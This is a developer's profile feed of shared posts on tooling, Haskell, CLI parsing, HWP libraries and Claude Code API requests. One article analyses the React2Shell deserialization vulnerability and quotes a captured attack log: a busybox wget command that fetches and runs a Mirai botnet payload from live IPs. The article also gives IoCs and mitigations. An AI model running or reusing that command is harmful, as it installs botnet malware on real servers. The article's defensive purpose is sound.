Profile img

Hi, I'm who's behind Fedify, Hollo, BotKit, and this website, Hackers' Pub! My main account is at @hongminhee洪 民憙 (Hong Minhee) :nonbinary:.

Fedify, Hollo, BotKit, 그리고 보고 계신 이 사이트 Hackers' Pub을 만들고 있습니다. 제 메인 계정은: @hongminhee洪 民憙 (Hong Minhee) :nonbinary:.

FedifyHolloBotKit、そしてこのサイト、Hackers' Pubを作っています。私のメインアカウントは「@hongminhee洪 民憙 (Hong Minhee) :nonbinary:」に。

Website
hongminhee.org
GitHub
@dahlia
Hollo
@hongminhee@hollo.social
DEV
@hongminhee
velog
@hongminhee
Qiita
@hongminhee
Zenn
@hongminhee
Matrix
@hongminhee:matrix.org
X
@hongminhee
1
3

洪 民憙 (Hong Minhee) shared the below article:

React2Shell 취약점의 특성을 알아보자

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
  7. 공격 절차에 포함되는 Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.

공격자는 이 취약점을 이용해서 뭘하나?

Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.

(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
 cd /dev; \
 busybox wget http://31.56.27.76/n2/x86; \
 chmod 777 x86; \
 ./x86 reactOnMynuts)

이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.

그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.

  • https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)

(그래 너 나쁜거 알았으니 그만 알아보자)

관련 IoC 는 다음과 같다.

  • 3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)
  • 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)
  • http://193.34.213.150/nuts/bolts (URL)
  • http://31.56.27.76/n2/x86 (URL)

범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.

추가 분석은 아래 링크에서 확인할 수 있다.

  • https://www.mbsd.jp/research/20251211/react2shell/
  • https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home

이 공격을 어떻게 완화해야할까?

버전 업데이트로 해결하기

Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.

Vulnerable version Patched release
Next.js 15.0.x 15.0.5
Next.js 15.1.x 15.1.9
Next.js 15.2.x 15.2.6
Next.js 15.3.x 15.3.6
Next.js 15.4.x 15.4.8
Next.js 15.5.x 15.5.7
Next.js 16.0.x 16.0.10
Next.js 14 canaries after 14.3.0-canary.76 Downgrade to 14.3.0-canary.76 (not vulnerable)
Next.js 15 canaries before 15.6.0-canary.58 15.6.0-canary.58
Next.js 16 canaries before 16.1.0-canary.12 16.1.0-canary.12 and after

혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.

  • https://github.com/vercel-labs/fix-react2shell-next

방화벽(WAF 등) 규칙의 개선으로 완화하기

Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.

Read more →
1
2

incredible, github is going to start charging for self-hosted actions runners (in private repositories)

We are introducing a $0.002 per-minute Actions cloud platform charge for all Actions workflows across GitHub-hosted and self-hosted runners.

resources.github.com/actions/2

2
0
0

As someone who's been mass-mass-publishing to JSR since its early days, this has been really frustrating. I even set up a local JSR server to debug it, only to find that the problem simply doesn't exist locally. At this point I'm out of ideas—hoping the JSR team can take a look at the production environment.

https://hollo.social/@fedify/019b2806-9b0b-7982-bad6-eb17c669af4d

0

We've been struggling with a JSR publishing issue for nearly two months now—@fedify/cli and @fedify/testing packages hang indefinitely during the server-side processing stage, blocking our releases. Strangely, the problem doesn't reproduce on a local JSR server at all.

We've opened a GitHub issue to track this: https://github.com/jsr-io/jsr/issues/1238.

Fedify has been a Deno-first, JSR-first project from the start, and we really want to keep it that way. If you've experienced similar issues or have any insights, we'd appreciate your input on the issue.

1

이제 C#, .NET에서도 아무런 외부 종속성 없이 곧바로 HWP 파일을 읽고 쓸 수 있게 되었습니다.

Java 버전의 hwplib을 .NET으로 AI 코드 어시스턴트의 도움을 받아 성공적으로 포팅한 HwpLibSharp 1.7.1-preview.1을 출시합니다.

많이 사용해보시고 피드백 주시면 감사하겠습니다!

https://forum.dotnetdev.kr/t/hwplibsharp-1-1-7-preview1/14149

2
2
1
2

洪 民憙 (Hong Minhee) shared the below article:

하스켈 책 보충 자료

박준규 @curry@hackers.pub

책 《하스켈 병렬 및 동시성 프로그래밍(원제: Parallel and Concurrent Programming in Haskell)》 8장을 읽다 보면 다음과 같은 문구가 나옵니다.

We will use the following function to download a web page:

getURL :: String -> IO ByteString

This function is provided by the module GetURL in GetURL.hs, which is a small wrapper around the API provided by the HTTP package.

그런데 GetURL.hs라는 파일을 찾을 수가 없어요. 저처럼 예제 코드 하나라도 실행 안 되면 진도를 못나가는 사람을 위해서 안내를 남깁니다.(사실은 미래의 저를 위한 글입니다.)

인터넷에서 검색을 좀 해보면(예전에 찾아 놓은 거고 지금은 원본 링크를 찾을 수가 없지만) 메릴랜드 대학의 CSMC 433이라는 과정에서 공교롭게 책과 같은 내용이 있고 그곳에서 다음과 같은 코드를 소개합니다.

-- For the example to work you need to have
-- the `bytestring` and the `download-curl`
-- haskell packages installed
import Data.ByteString as B
import Network.Curl.Download

getURL :: String -> IO ByteString
getURL uri = do
  res <- openURI uri
  case res of
    Left _ -> error "Oh no..."
    Right bs -> return bs

'됐다! 이거다!' 싶지만 막상 이 코드를 넣고 8장의 예제를 실행하면 기대했던대로 결과가 안 나오고 다음과 같이 페이지 응답 본문의 크기가 0으로 나옵니다.

(0,0)

이건 왜 그럴까? curl로 응답 헤더를 보니 https로 리다이렉트하고 있었네요.

$ curl -I http://www.wikipedia.org/wiki/Shovel
HTTP/1.1 301 Moved Permanently
content-length: 0
location: https://www.wikipedia.org/wiki/Shovel
server: HAProxy
x-cache: cp5024 int
x-cache-status: int-tls
connection: close

그래서 본문 내용이 없었기 때문에 크기가 0으로 나온 것입니다. 이때는 openURI 대신 openURIWithOpts를 쓰면 됩니다. 여러 옵션이 있는데 그중 CurlFollowLocation True를 사용합니다.

  res <- openURIWithOpts opts uri
  ...
  where
    opts =
      [ CurlFollowLocation True
      ]

'와, 이제 진짜 되겠지?' 해도 안 되는데 이번에는 404 응답이 옵니다.

'어? 브라우저랑 curl로 요청했을 때는 존재하는 페이지인데 왜 404래?'

아마 위키백과에서 요청 헤더에 User-Agent가 없으면 차단을 하는 것 같습니다. 마지막으로 다음과 같이 옵션을 추가합니다.(이건 GPT가 알려줬어요.)

  opts =
    [ CurlFollowLocation True
    , CurlUserAgent "foo bar"
    ]

여기까지 하면 이제 책에 나온 예제가 잘 실행됩니다.

즐거운 하스켈 코딩 하세요!

Read more →
9

매일마다 찬양과 폄하를 오가는 오라클 클라우드

오늘의 찬양: NLB(L4 로드밸런서)도 무료 배스쳔(퍼블릭 IP가 없는 인스턴스 접속을 위한 SSH 터널링)도 무료

오늘의 폄하: 블록볼륨 최소사이즈가 50GB인게 말이되냐!! 기본 오라클리눅스 dnf를 램 4기가 이하 인스턴스에서 돌리면 메모리만 전부 잡아먹고 스스로 OOMKill은 안시켜서 인스턴스가 죽는게 말이되냐!!!

3
10

오랜만에 인사드립니다. 새 직장에 들어간지 한달 반정도 됐어요. 잘 적응하고 있는 것 같습니다. 생각보다 c++는 공부하는 재미가 있는 언어였어요. 템플릿 활용하고 메모리 잘 관리해주는데서 은근히 뭐랄까 쾌감이 오는군요...

8
3

https://github.com/sonohoshi/sonomemo 최근에는 바이브코딩을 좀 해봤고, 제가 쓸 메모용 앱을 만들어봤습니다. 만들었다고 하는게 맞나? 바이브코딩이라는거 재밌더라고요. 사실 당연한 것 같습니다. 코딩에서 오는 아이디어 구현과 결과물이 나오는 재미는 취하고, 디버그하고 버그 잡는 힘든 일은 LLM이 해주는데 당연히 재미있겠죠. 어쨌거나 이 행위에 맛들려서 Rust 코드는 어떻게 쓰는지 볼 겸, 터미널 기반의 메모용 앱을 만들었습니다. 제가 쓰려고 만들었는데 생각보다 쓰는 트친들이 많이 생겨서 여기에도 올려봐요. 감사합니다.

2

最近、社内の(自社)メッセンジャーの利用をやめ、Discord を主な協業ツールとして活用している。 Webhook 用のチャンネルが一つずつ増えるにつれて活用度と満足度も高まり、全体としてかなりうまく使えていると感じている。

Slack も優れたツールではあるが、無料プランでは90日を過ぎたメッセージを確認できない点がやや残念だ。そのため、現時点の会社の状況で、Discord よりも Slack を有料で使うだけの明確なメリットがあるかというと、正直なところ判断が難しい。

一方で悩ましいのは、社外、とくに大企業の顧客との協業において、Discord を公式な協業ツールとして提案しづらい点である。ゲーミング向けメッセンジャーというイメージが依然として強く、積極的に推し出すには少し躊躇してしまう。

とはいえ、オープンソースや開発者向けのコミュニティでは、以前から Discord がかなり活発に使われている印象もある。(これは、ひとまず韓国に限った話かもしれない。)

1

언제까지 (a:number, b:number) => a + b, (a:string, b:string) => a + b, <T>(a: T, b: T) => a + b 를 해줘야 하나고
그냥 대충 눈치껏 (a, b) => a + b 하면 'ba 와 더할 수 있어야 하는 타입이고 a 는 무언가와 더할 수 있는 타입이구나' 하고 추론할 수 있는 분석기가 달린 언어가 필요함

6

아이폰 사파리 리액트 웹앱에서 모달창을 띄워 유튜브를 재생하는데 10여분이 지나면 갑자기 닫혀 버립니다.(PC는 정상) 닫히는 순간 사파리 상단에 알림창이 아주 찰나에 떴다 사라집니다. 맥북 개발자 툴에 붙여 확인했는데 별다른 로그도 안남고, 찰나에 사라진 메시지가 뭔지도 알 수가 없네요.

10분동안 재생된 영상 3~4개인데, 캐시가 얼마 되지 않아 메모리 이슈는 아니지 않을까 하는데요. 언젠가 앱개발도 손대야 할지 모르는데, 살짝 겁납니다. 디버깅 방법이 뭐가 좋을까요?

1
2

닷넷으로도 HWP 파일을 처리할 수 있는 라이브러리를 만들 수 있지 않을까 하는 오랜 과업 (?)을 생성형 AI, 그리고 훌륭한 Java 버전의 구현체를 만들어주신 neolord0 님의 컨트리뷰션을 바탕으로 .NET 10용 프로젝트를 착수하게 되었습니다.

현재 테스트 통과율은 40~50% 수준이지만, 일단 모든 코드를 기계적으로 포팅시켜서 시작점을 만들었다는 것만 해도 기쁘게 생각하고 있습니다.

이 일을 가능하게 도움주시고 지금도 꾸준히 커밋을 관리해주고 계신 neolord0님께 다시 한 번 깊은 감사, 경의, 그리고 존경을 표합니다.

https://github.com/rkttu/libhwpsharp

2

언제까지 (a:number, b:number) => a + b, (a:string, b:string) => a + b, <T>(a: T, b: T) => a + b 를 해줘야 하나고
그냥 대충 눈치껏 (a, b) => a + b 하면 'ba 와 더할 수 있어야 하는 타입이고 a 는 무언가와 더할 수 있는 타입이구나' 하고 추론할 수 있는 분석기가 달린 언어가 필요함

2
1

LogTape 1.3.0 is out!

This release brings official middleware for Express, Fastify, Hono, and Koa with Morgan-compatible formats, plus Drizzle ORM integration for database query logging.

For SDK authors: the new withCategoryPrefix() lets you wrap internal library logs under your own category—so users only need to configure logging for your package, not every dependency you use internally.

Also: OpenTelemetry now supports gRPC and HTTP/Protobuf protocols, and the Sentry sink gained automatic trace correlation and breadcrumbs.

https://github.com/dahlia/logtape/discussions/109

1
3
7

어떻게 구현했길래 수식을 못 썼냐고요??

  • (before) .mdx 파일에 별도 익스포트로 각주 내용을 썼었는데 왠지모르게 JSX 문법은 되지만 마크다운 문법은 안 되는 상황에 봉착... Astro가 별도 익스포트를 못 봐서 import.global.meta로 불러오고 원래는 볼 일 없는 AstroVNode 타입을 써가면서 온몸비틀기로 구현
  • (after) 모든 각주가 별도 파일(🤣). import.global.meta는 아직 있지만 고치기 전보다 훨씬 깔끔해진 느낌
3

많은 우여곡절이 있었지만, "멀티 클라우드로의 전환 2차 개정판"의 번역을 마무리하여 이제 곧 출간을 진행할 예정입니다. 다중 클라우드 서비스를 도입하고 검토하는 것이 새로운 기준이 된 지금 시점에 어떻게 하면 효과적으로 클라우드 플랫폼을 선택하고 정착시킬 수 있을지 고민이 많으신 기업 내 여러 담당자 분들께 좋은 기준점과 인사이트를 드릴 수 있는 콘텐츠로 구성된 책입니다. 현재 예약 판매 중이며, 12월 말부터 순차 배송될 예정입니다. https://product.kyobobook.co.kr/detail/S000218779012 고맙습니다!

3
2

꽤 오래 디지털 정원을 가꿔왔다. 그런데 기존 디지털 정원 도구들은 (1) 로컬 파일 시스템 기반이 아니거나, (2) 문서 모델과 애플리케이션이 분리되어 있지 않아서 나의 워크플로우와는 잘 맞지 않았다. 그래서 직접 문서 빌드 도구를 만들었다. 역시 야크 털 깎고 개밥먹는게 제일 재미있다. github.com/parksb/simpesys

2

洪 民憙 (Hong Minhee) shared the below article:

Stop writing if statements for your CLI flags

洪 民憙 (Hong Minhee) @hongminhee@hackers.pub

If you've built CLI tools, you've written code like this:

if (opts.reporter === "junit" && !opts.outputFile) {
  throw new Error("--output-file is required for junit reporter");
}
if (opts.reporter === "html" && !opts.outputFile) {
  throw new Error("--output-file is required for html reporter");
}
if (opts.reporter === "console" && opts.outputFile) {
  console.warn("--output-file is ignored for console reporter");
}

A few months ago, I wrote Stop writing CLI validation. Parse it right the first time. about parsing individual option values correctly. But it didn't cover the relationships between options.

In the code above, --output-file only makes sense when --reporter is junit or html. When it's console, the option shouldn't exist at all.

We're using TypeScript. We have a powerful type system. And yet, here we are, writing runtime checks that the compiler can't help with. Every time we add a new reporter type, we need to remember to update these checks. Every time we refactor, we hope we didn't miss one.

The state of TypeScript CLI parsers

The old guard—Commander, yargs, minimist—were built before TypeScript became mainstream. They give you bags of strings and leave type safety as an exercise for the reader.

But we've made progress. Modern TypeScript-first libraries like cmd-ts and Clipanion (the library powering Yarn Berry) take types seriously:

// cmd-ts
const app = command({
  args: {
    reporter: option({ type: string, long: 'reporter' }),
    outputFile: option({ type: string, long: 'output-file' }),
  },
  handler: (args) => {
    // args.reporter: string
    // args.outputFile: string
  },
});
// Clipanion
class TestCommand extends Command {
  reporter = Option.String('--reporter');
  outputFile = Option.String('--output-file');
}

These libraries infer types for individual options. --port is a number. --verbose is a boolean. That's real progress.

But here's what they can't do: express that --output-file is required when --reporter is junit, and forbidden when --reporter is console. The relationship between options isn't captured in the type system.

So you end up writing validation code anyway:

handler: (args) => {
  // Both cmd-ts and Clipanion need this
  if (args.reporter === "junit" && !args.outputFile) {
    throw new Error("--output-file required for junit");
  }
  // args.outputFile is still string | undefined
  // TypeScript doesn't know it's definitely string when reporter is "junit"
}

Rust's clap and Python's Click have requires and conflicts_with attributes, but those are runtime checks too. They don't change the result type.

If the parser configuration knows about option relationships, why doesn't that knowledge show up in the result type?

Modeling relationships with conditional()

Optique treats option relationships as a first-class concept. Here's the test reporter scenario:

import { conditional, object } from "@optique/core/constructs";
import { option } from "@optique/core/primitives";
import { choice, string } from "@optique/core/valueparser";
import { run } from "@optique/run";

const parser = conditional(
  option("--reporter", choice(["console", "junit", "html"])),
  {
    console: object({}),
    junit: object({
      outputFile: option("--output-file", string()),
    }),
    html: object({
      outputFile: option("--output-file", string()),
      openBrowser: option("--open-browser"),
    }),
  }
);

const [reporter, config] = run(parser);

The conditional() combinator takes a discriminator option (--reporter) and a map of branches. Each branch defines what other options are valid for that discriminator value.

TypeScript infers the result type automatically:

type Result =
  | ["console", {}]
  | ["junit", { outputFile: string }]
  | ["html", { outputFile: string; openBrowser: boolean }];

When reporter is "junit", outputFile is string—not string | undefined. The relationship is encoded in the type.

Now your business logic gets real type safety:

const [reporter, config] = run(parser);

switch (reporter) {
  case "console":
    runWithConsoleOutput();
    break;
  case "junit":
    // TypeScript knows config.outputFile is string
    writeJUnitReport(config.outputFile);
    break;
  case "html":
    // TypeScript knows config.outputFile and config.openBrowser exist
    writeHtmlReport(config.outputFile);
    if (config.openBrowser) openInBrowser(config.outputFile);
    break;
}

No validation code. No runtime checks. If you add a new reporter type and forget to handle it in the switch, the compiler tells you.

A more complex example: database connections

Test reporters are a nice example, but let's try something with more variation. Database connection strings:

myapp --db=sqlite --file=./data.db
myapp --db=postgres --host=localhost --port=5432 --user=admin
myapp --db=mysql --host=localhost --port=3306 --user=root --ssl

Each database type needs completely different options:

  • SQLite just needs a file path
  • PostgreSQL needs host, port, user, and optionally password
  • MySQL needs host, port, user, and has an SSL flag

Here's how you model this:

import { conditional, object } from "@optique/core/constructs";
import { withDefault, optional } from "@optique/core/modifiers";
import { option } from "@optique/core/primitives";
import { choice, string, integer } from "@optique/core/valueparser";

const dbParser = conditional(
  option("--db", choice(["sqlite", "postgres", "mysql"])),
  {
    sqlite: object({
      file: option("--file", string()),
    }),
    postgres: object({
      host: option("--host", string()),
      port: withDefault(option("--port", integer()), 5432),
      user: option("--user", string()),
      password: optional(option("--password", string())),
    }),
    mysql: object({
      host: option("--host", string()),
      port: withDefault(option("--port", integer()), 3306),
      user: option("--user", string()),
      ssl: option("--ssl"),
    }),
  }
);

The inferred type:

type DbConfig =
  | ["sqlite", { file: string }]
  | ["postgres", { host: string; port: number; user: string; password?: string }]
  | ["mysql", { host: string; port: number; user: string; ssl: boolean }];

Notice the details: PostgreSQL defaults to port 5432, MySQL to 3306. PostgreSQL has an optional password, MySQL has an SSL flag. Each database type has exactly the options it needs—no more, no less.

With this structure, writing dbConfig.ssl when the mode is sqlite isn't a runtime error—it's a compile-time impossibility.

Try expressing this with requires_if attributes. You can't. The relationships are too rich.

The pattern is everywhere

Once you see it, you find this pattern in many CLI tools:

Authentication modes:

const authParser = conditional(
  option("--auth", choice(["none", "basic", "token", "oauth"])),
  {
    none: object({}),
    basic: object({
      username: option("--username", string()),
      password: option("--password", string()),
    }),
    token: object({
      token: option("--token", string()),
    }),
    oauth: object({
      clientId: option("--client-id", string()),
      clientSecret: option("--client-secret", string()),
      tokenUrl: option("--token-url", url()),
    }),
  }
);

Deployment targets, output formats, connection protocols—anywhere you have a mode selector that determines what other options are valid.

Why conditional() exists

Optique already has an or() combinator for mutually exclusive alternatives. Why do we need conditional()?

The or() combinator distinguishes branches based on structure—which options are present. It works well for subcommands like git commit vs git push, where the arguments differ completely.

But in the reporter example, the structure is identical: every branch has a --reporter flag. The difference lies in the flag's value, not its presence.

// This won't work as intended
const parser = or(
  object({ reporter: option("--reporter", choice(["console"])) }),
  object({ 
    reporter: option("--reporter", choice(["junit", "html"])),
    outputFile: option("--output-file", string())
  }),
);

When you pass --reporter junit, or() tries to pick a branch based on what options are present. Both branches have --reporter, so it can't distinguish them structurally.

conditional() solves this by reading the discriminator's value first, then selecting the appropriate branch. It bridges the gap between structural parsing and value-based decisions.

The structure is the constraint

Instead of parsing options into a loose type and then validating relationships, define a parser whose structure is the constraint.

Traditional approach Optique approach
Parse → Validate → Use Parse (with constraints) → Use
Types and validation logic maintained separately Types reflect the constraints
Mismatches found at runtime Mismatches found at compile time

The parser definition becomes the single source of truth. Add a new reporter type? The parser definition changes, the inferred type changes, and the compiler shows you everywhere that needs updating.

Try it

If this resonates with a CLI you're building:

  • Documentation
  • Tutorial
  • conditional() reference
  • GitHub

Next time you're about to write an if statement checking option relationships, ask: could the parser express this constraint instead?

The structure of your parser is the constraint. You might not need that validation code at all.

Read more →
7

최근 부탁을 받아 PixiJS로 작은 미니 게임을 하나 만들었습니다. 만든 게임은 나이키의 조던 출시 이벤트 파티에서 쓰였습니다. 제가 만든 프로그램을 사람들이 사용하는 모습을 현장에서 직접 보니 신기하기도 하고 뿌듯하기도 했네요. 가끔 정형적인 앱에서 벗어나 자유분방한 프로그램을 만들고 싶었는데 그런 욕구를 해소할 수 있는 좋은 기회였습니다!

파란 조명의 이벤트 행사장을 배경으로 손에 아이패드가 들려있다. 아이패드 화면에는 레이더망과 조던 로고가 보인다.
3
1
2

洪 民憙 (Hong Minhee) shared the below article:

Claude Code가 모델이 하지도 않은 말을 했다고 하는 이유.

자손킴 @jasonkim@hackers.pub

Claude Code에서 첫 번째 요청을 입력하면 가장 먼저 다음과 같은 JSON을 API로 보낸다. 이 요청은 실제 작업에 앞서 대화 주제를 파악하고 제목을 생성하기 위한 보조 요청이다.

{
  "model": "claude-haiku-4-5-20251001",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Request Body의 구조를 분석하고 분류별로 묶어서 표현한다. ultrathink"
        }
      ]
    },
    {
      "role": "assistant",
      "content": [
        {
          "type": "text",
          "text": "{"
        }
      ]
    }
  ],
  "system": [
    {
      "type": "text",
      "text": "You are Claude Code, Anthropic's official CLI for Claude."
    },
    {
      "type": "text",
      "text": "Analyze if this message indicates a new conversation topic. If it does, extract a 2-3 word title that captures the new topic. Format your response as a JSON object with two fields: 'isNewTopic' (boolean) and 'title' (string, or null if isNewTopic is false). Only include these fields, no other text. ONLY generate the JSON object, no other text (eg. no markdown)."
    }
  ],
  "tools": [],
  "metadata": {
    "user_id": "user-id"
  },
  "max_tokens": 32000,
  "stream": true
}

시스템 프롬프트를 보면 이 요청이 신규 대화인지 판단하고, 신규 대화라면 2-3 단어의 제목을 추출하여 isNewTopictitle 필드로 구성된 JSON만 반환하라고 지시하고 있다.

여기서 내 눈에 띈 것은 첫 번째 요청임에도 불구하고 마치 멀티턴 대화가 진행된 것처럼 messages의 마지막 roleassistant라는 점이었다. 게다가 Claude가 { 한 글자만 응답한 것처럼 구성되어 있다.

이 요청에 대한 응답은 다음과 같다.

{
  "id": "msg_id",
  "type": "message",
  "role": "assistant",
  "model": "claude-haiku-4-5-20251001",
  "content": [
    {
      "type": "text",
      "text": "\n  \"isNewTopic\": true,\n  \"title\": \"Request Body Formatting\"\n}"
    }
  ],
  "stop_reason": "end_turn",
  "stop_sequence": null,
  "usage": {
